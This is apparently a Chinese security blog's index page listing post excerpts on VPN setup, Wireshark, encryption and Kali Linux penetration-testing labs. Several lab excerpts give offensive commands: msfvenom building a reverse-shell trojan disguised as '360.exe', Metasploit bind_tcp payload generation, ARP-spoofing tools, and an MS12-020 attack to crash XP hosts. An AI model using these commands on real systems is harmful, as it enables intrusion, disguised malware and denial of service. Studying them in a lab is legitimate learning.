周小玉的博客_Security

SQL注入

SQL(Structured Query Language)结构化查询语言SQL注入攻击是一种比较常见的针对数据库的漏洞攻击方式结构化查询语句使用来和关系数据库进行交互的文本语言。它允许用户对数据进行有效的管理，包含了对数据的查询、操作、定义和控制等方面关系数据库广泛应用于网站中，用户一般通过动态网页和数据库间接进行交互安全性考虑不周的网站应用程序（动态网页）使得攻击者能够构造并提交恶意URL，将

SQL

注入

原创 2018-01-23 21:38:13 1273 阅读 2收藏

上网行为管理

客户为什么需要上网行为管理?上网行为管理能解决什么问题？1、互联网是一把“双刃剑”缺乏管理会带来诸多问题1.1、带宽滥用:有限带宽被P2P，流媒体占用，核心业务无法得到保障1.2、上网难监管:对员工上网无法把控，IM聊天、在线视频，炒股等与工作无关的应用规章制度解决不了问题1.3、网络违法:人身攻击、对外发布反动分裂、×××、×××1.4、信息泄密:信息成为组织越来越重要的资源，信息安全也是组织面临一

上网

行为

管理

原创 2018-01-06 22:52:11 1940 阅读 1收藏

HTTP协议分析

HTTP协议详解之请求篇请求方法（所有方法全为大写）有多种，各个方法的解释如下:GET 请求获取Request-URI所标识的资源POSThttp协议详解之响应篇http响应也是由三个部分组成，分别是:状态行、消息报文、响应正文1、状态行格式如下:http-version表示服务器http协议的版本status-code表示服务器发回的响应状态代码reason-phrase表示状态代码的文本描述状

http

原创 2017-12-18 22:02:19 2458 阅读

Tcpdump使用

tcpdump是linux系统下强大的数据包分析工具，通过将网卡设置为混杂模式来截取经过网口的每一个分组进行分析，（作用类似windows平台下wireshark等抓包工具）功能:判断数据是否经过设备，内网是否有arp欺骗，分析数据走向，分析tcp建立状态，分析端口映射数据走向及分析应用层协议等内容格式tcpdump+参数+表达式tcpdump（-adeflnNOpqStvx）[-c数量][-F文

tcpdump

原创 2017-12-16 12:07:38 2430 阅读 1收藏

网御防毒墙、IPS升级特征库步骤

步骤第一步、注册用户第二步、根据实际填写资料第三步、填写具体信息略第四步、登录第五步、申请授权（一个授权码只能对应一个设备模块，即使设备一样也不可以）第六步、输入购买的授权码第七步、制作特征库需要10s（填写NT要注意了需要保证信息一致性带中横杆不需要填写）第八步、下载该特征库第九步、登录需要升级的设备

升级特征库

原创 2017-09-01 16:09:23 2997 阅读

kali之flash挂马

root@localhost:~# msfconsolmsf > show #寻求帮助msf > use windows/shell/bind_tcp#msf payload(bind_tcp) > set RHOST 192.168.48.100RHOST => 192.168.48.100msf payload(bind_tcp) > generate -tc#

flash

原创 2017-07-04 14:46:34 1736 阅读

kali之入侵win7系统2

Metasploit是一款开源的安全漏洞检测工具。它可以帮助用户识别安全问题，验证漏洞的缓解措施，并对某些软件进行安全性评估，提供真正的安全风险情报Metasploit软件为它的基础功能提供了多个用户接口，包括终端、命令行和图形化界面等启动Metasploit服务运行Armitage工具打开定义MSF探测主机探测到的主机确定操作系统

安全技术

Metasploit

原创 2017-06-29 20:38:07 1766 阅读 1点赞 1评论

kali之ARP欺骗

root@localhost:~# macof#洪水式的ARP欺骗针对不同的交换机建议多开几个窗口root@localhost:~# dsniff#监听网络数据包dsniff: listening on eth0Arpspoof是一个非常好的ARP欺骗的源代码程序。它的运行不会影响整个网络的通信，该工具通过替换传输中的数据从而达到对目标的欺骗欺骗主机地址为10.10.30.99欺骗目标地址为10.

ARP

原创 2017-06-29 20:27:16 4940 阅读 1点赞 1评论

kali之入侵Win7系统1

木马程序:当执行这个程序时，隐藏的恶意程序在用户不知情的情况下也会执行，在内存中运行写木马文件，并赋予权限root@kali:~#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.48.123 lport=33389 -f exe > 360.exeroot@kali:~#chmod 777 360.exe 配置网络信息开启P

Win7

原创 2017-06-28 20:43:55 2507 阅读 1点赞 1收藏 1评论

kali之入侵XP系统3(非法关闭计算机)

保证网络连通性，配置网络开启PostgreSQL: service postgresql start开启metasploit: service metasploit startroot@kali:~# msfconsole前提目标主机3389端口开放msf >search CVE_2012_0002 查找ms12_020漏洞msf >use auxiliary/

XP

安全技术

原创 2017-06-28 17:28:10 1202 阅读 1收藏

kali之入侵XP系统2

保证网络连通性，配置网络开启PostgreSQL: service postgresql start开启metasploit: service metasploit startroot@kali:~# msfconsolemsf > workspacemsf > db_statusmsf > workspace -a testlabmsf > db_

XP

原创 2017-06-28 17:23:53 1116 阅读

kali之DNS劫持

DNS劫持:用户上网的DNS服务器都是运营商分配的，所以，在这个节点上，运营商可以为所欲为例如:访问一个网站，输入域名，正常DNS服务器返回该域名的IP，而DNS劫持后，会返回一个运营商额中间服务器IP，该访问服务器会一致性的返回302，让用户浏览器跳转到预处理好的带广告的网页，在该网页中再通过iframe打开用户原来访问的地址HTTP劫持:在运营商的路由器节点上，设置协议检测，一旦发现是http

XP

原创 2017-06-28 16:50:51 5064 阅读

kali之Nmap

（Network Mapper）Nmap是一个免费开放的网络扫描和嗅探工具包（Network Mapper网络映射器）用来探测计算机网络上的主机和服务的一种安全扫描器，用来扫描网上服务器开放的网络连接端口，推断计算机运行哪个操作系统在Kali Linux中默认提供了Nmap和Zenmap两个扫描端口工具https://nmap.org/download.html 下载地址Nmap功能:1、网段中存

nmap

原创 2017-06-26 16:38:55 6628 阅读

kali之基本设置

安装VMware tools查看网卡地址配置网络地址修改SSH文件修改配置信息启动服务添加更新源#官方源deb http://http.kali.org/kali kali main non-free contribdeb-src http://http.kali.org/kali kali main non-free contribdeb http://security.kali.org/kal

kali

原创 2017-06-25 22:06:28 849 阅读 2收藏

安装kali

下载地址：http://www.kali.org/downloads/硬件配置：内存最好为2G以上，硬盘最小为80G选择图形安装选择语言提示语选择地区选择键盘布局配置主机名、域名设置主机密码设置对磁盘分区对系统磁盘分区选择网络镜像一般没连网选择否安装完毕重启系统

安装

kali

原创 2017-06-25 20:05:22 893 阅读

漏洞扫描

漏洞的概念：系统安全漏洞，也叫系统脆弱性，是计算机系统在硬件、软件、协议的设计与实现过程中或系统安全策略上存在的缺陷和不足。漏洞产生的原因：漏洞主要是由于程序员不正确和不安全编程引起的。1、输入验证错误2、访问验证错误3、竞争条件错误4、意外情况处置错误5、配置错误6、环境错误7、设计错误漏洞的检测：1、源代码扫描2、反汇编扫描3、渗透分析4、环境错误注入一般网络都是属于一种被动防御不能及时发现安

漏扫

原创 2017-06-25 14:48:47 1367 阅读

踩点

打开https://www.zoomeye.org/网页输入port:81 country:China city:Beijing搜寻区域主机网站此次作为演练，不输入此用户名密码

安全技术

踩点

原创 2017-06-21 11:07:57 755 阅读

堡垒机工作机制

网络攻击：之前介绍过、AAA采用C/S结构，AAA服务器上集中管理用户信息用户想访问网络资源，从而和网关建立连接，网关把用户的认证、授权、计费信息透传给radius服务器审计计费堡垒主机采用AAAA技术，为用户提供安全管理平台解决方案堡垒主机结合路由交换机包过滤、防火墙策略保护内部网络设备安全，Password方式（双因素认证）堡垒主机结构一般堡垒主机分为两个系统：linux、Windowslin

堡垒主机

原创 2017-06-08 21:36:07 2235 阅读 1收藏

Wiresahrk抓包过滤技术

一、抓包过滤器捕捉过滤器（CaptureFilters）：用于决定将什么样的信息记录在捕捉结果中。需要在开始捕捉前设置显示过滤器（DisplayFilters）：在捕捉结果中进行详细查找。他们可以在得到捕捉结果后随意修改捕捉过滤器是数据经过的第一层过滤器，它用于控制捕捉数据的数量，以避免产生过大的日志文件显示过滤器是一种更为强大（复杂）的过滤器。它允许您在日志文件中迅速准确地找到所需要的记录语法：

wireshark

原创 2017-05-20 19:14:03 3161 阅读 1收藏

Wiresahrk抓包选项设置

第一步、选择抓包网卡,网卡混杂模式，能够查看到所有流经过选择输出文件的位置以及采用什么方式创建文件设置自动停止捕获数据包字体放大缩小普通大小增加列信息对列内容设置对齐方式、编辑列、隐藏、删除列修改时间模式解析网络设备导出抓包文件本篇文字不能涵盖wireshark所有功能只是为了基础者提供使用方式

wireshark

原创 2017-05-20 15:11:30 962 阅读 1收藏

Wiresahrk基础设置

https://www.wireshark.org/download.html下载地址安装步骤安装尽量路径都是为纯英文接下来保持默认安装即可……安装打开Wireshark页面菜单栏下功能介绍数据抓包本篇文字不能涵盖wireshark所有功能只是为了基础者提供使用方式

安全技术

wireshark

原创 2017-05-20 14:05:10 1223 阅读

Wiresahrk基本概念

Wireshark 是网络包分析工具（流量分析、协议分析、数据包分析、网络窃听等），主要作用是尝试捕获网络包，并尝试显示数据包尽可能详细的情况Wireshark不会处理网络事务，它仅仅是“测量”(监视)网络Wireshark是开源软件项目,不用担心授权和付费问题Wiresahrk简史1997年以后，Gerald Combs 需要一个工具追踪网络问题并想学习网络知识，他开始开发EtherealEt

wireshark

原创 2017-05-20 11:23:35 1810 阅读

Cisco的MPLS VPN配置步骤

IPSec VPN都属于传统VPN传统VPN的缺陷:范围都是点对点1、需要手工静态指定建立，随着用户网络规模增长，可扩展性不强2、VPN维护和管理工作属于用户自行完成MPLS VPN的优点：1、实现隧道的动态建立（通过MPLS中的LDP实现）2、解决IP地址冲突问题3、VPN私网路由易于控制VPN核心思想就是隧道，实际上隧道就是进来封装，出去解封装，但不安全，只是打标签，隐藏IP报文传统IP转发是

VPN

MPLS

原创 2017-05-13 14:46:45 8703 阅读 1点赞 2收藏

ASA的Easy VPN配置步骤

Easy VPN路由器上配置R1(config)#aaa new-model 定义AAAR1(config)#aaa authentication login vpn_authen localR1(config)#aaa authorization network vpn_author localR1(config)#username cisco password ciscoR1(config)#

VPN

Easy

原创 2017-04-30 20:32:31 1457 阅读

SAG-1100配置说明

负载均衡工作原理：主墙时刻侦测主备SAG中在线用户数，当一台SAG的用户数少于另一台SAG时，下一个登陆主墙的用户被重定向到用户数少的SAG上(只需要提供主墙的登录地址给vpn用户)，保证主、备墙在线用户数相同负载均衡正常工作不依赖双机热备（VRRP）双机热备(VRRP)的作用就是为了解决单点故障问题，主SAG挂了能将业务透明的切换到备SAG上数据同步:手动同步能同步SAG之间所有数据(除了IP地

联想网御

1100

SAG

原创 2017-04-18 20:09:02 658 阅读

SSL VPN笔记

SSL Secure Sockets Layer安全套接层:是一种安全协议，基于TCP应用层提供安全连接，可以为http提供安全连接，为网络上的数据传输提供安全性保证安全机制:注：没有第三方解密密钥，无法将密文恢复为明文的，从而保证数据传输的机密性对称密钥算法和MAC算法要求通信双方具有相同的密钥，否则解密或MAC值验证失败SSL格式IPsec VPN缺点:1、部署复杂，移动性差，需要支持NAT透

防火墙

H3C

sslvpn

原创 2017-04-18 20:07:03 3365 阅读 2收藏 1评论

IPsec配置说明

VPN配置步骤:第一阶段:iaskmp SA（IKE SA要保护的对象是与密钥有关的） IKE并不直接关心用户的数据，并且IKE SA是为安全协商IPSec SA服务的1、共享密钥或数字证书IKE采用了Diffie-Hellman算法、密钥通过对等体推算出自己的密钥group1 密钥长度为768bitgroup2 密钥长度为1024bitgroup5 密钥长度为1536bit用于数据加密的密钥的值

IPS配置

原创 2017-02-27 18:49:31 5020 阅读 1收藏

IPsec介绍

一、基本概述二、工作原理三、配置步骤IKE协议来建立SA，SA协议建立在由ISAKMP定义的框架上IKE不是在网络上直接传输密钥，而是通过一系列数据交换，最终计算出双方共享的密钥，并且即使第三方截获了双方用于计算密钥所有交换数据，无法计算出真正的密钥IKE具有一套自保护机制，可以在不安全的网络上安全地认证身份，分发密钥，建立IPsec SA数据认证身份认证:确认通信双方的身份，预共享密钥（pre-

IPsec笔记

原创 2017-01-12 14:51:10 4341 阅读 1点赞 2收藏

L2TP VPN基础知识

VPDN虚拟专用拨号网络VPDN隧道协议主要包括三种:PPTP（点到点隧道协议）、L2F(二层转发)、L2TP(二层隧道协议)L2TP协议结合了PPTP和L2F各自的优点，成了二层隧道协议的工业标准VPDN是指利用公共网络（如ISDN、PSTN）的拨号功能接入公共网络，实现虚拟专用网适用场合:企业、小型ISP、移动办公人员等提供接入服务VPDN为远端用户与私有企业之间提供一种经济适用点对点连接方式

L2TP VPN笔记

原创 2016-12-18 19:37:37 4256 阅读

加密算法笔记

从古埃及的时候就用这种密码学密钥的长度越长，加密的可靠性就越强密钥是一组特定的字符串，是控制明文和密文转换的唯一参数，起到“钥匙”的作用对称加密算法：对数据进行解密时使用的密钥和加密使用的密钥是完全相同的，也叫做私钥算法对称密码算法：不安全的算法一定要保证密钥安全性优点:加密速度快，加密后的数据不会变大缺点:在秘钥交换上存在问题加密算法只告诉你算法参与n+n 密钥n+2

加密算法

原创 2016-12-05 12:10:05 1301 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

马广杰——博客

SQL注入

上网行为管理

HTTP协议分析

Tcpdump使用

网御防毒墙、IPS升级特征库步骤

kali之flash挂马

kali之入侵win7系统2

kali之ARP欺骗

kali之入侵Win7系统1

kali之入侵XP系统3(非法关闭计算机)

kali之入侵XP系统2

kali之DNS劫持

kali之Nmap

kali之基本设置

安装kali

漏洞扫描

踩点

堡垒机工作机制

Wiresahrk抓包过滤技术

Wiresahrk抓包选项设置

Wiresahrk基础设置

Wiresahrk基本概念

Cisco的MPLS VPN配置步骤

ASA的Easy VPN配置步骤

SAG-1100配置说明

SSL VPN笔记

IPsec配置说明

IPsec介绍

L2TP VPN基础知识

加密算法笔记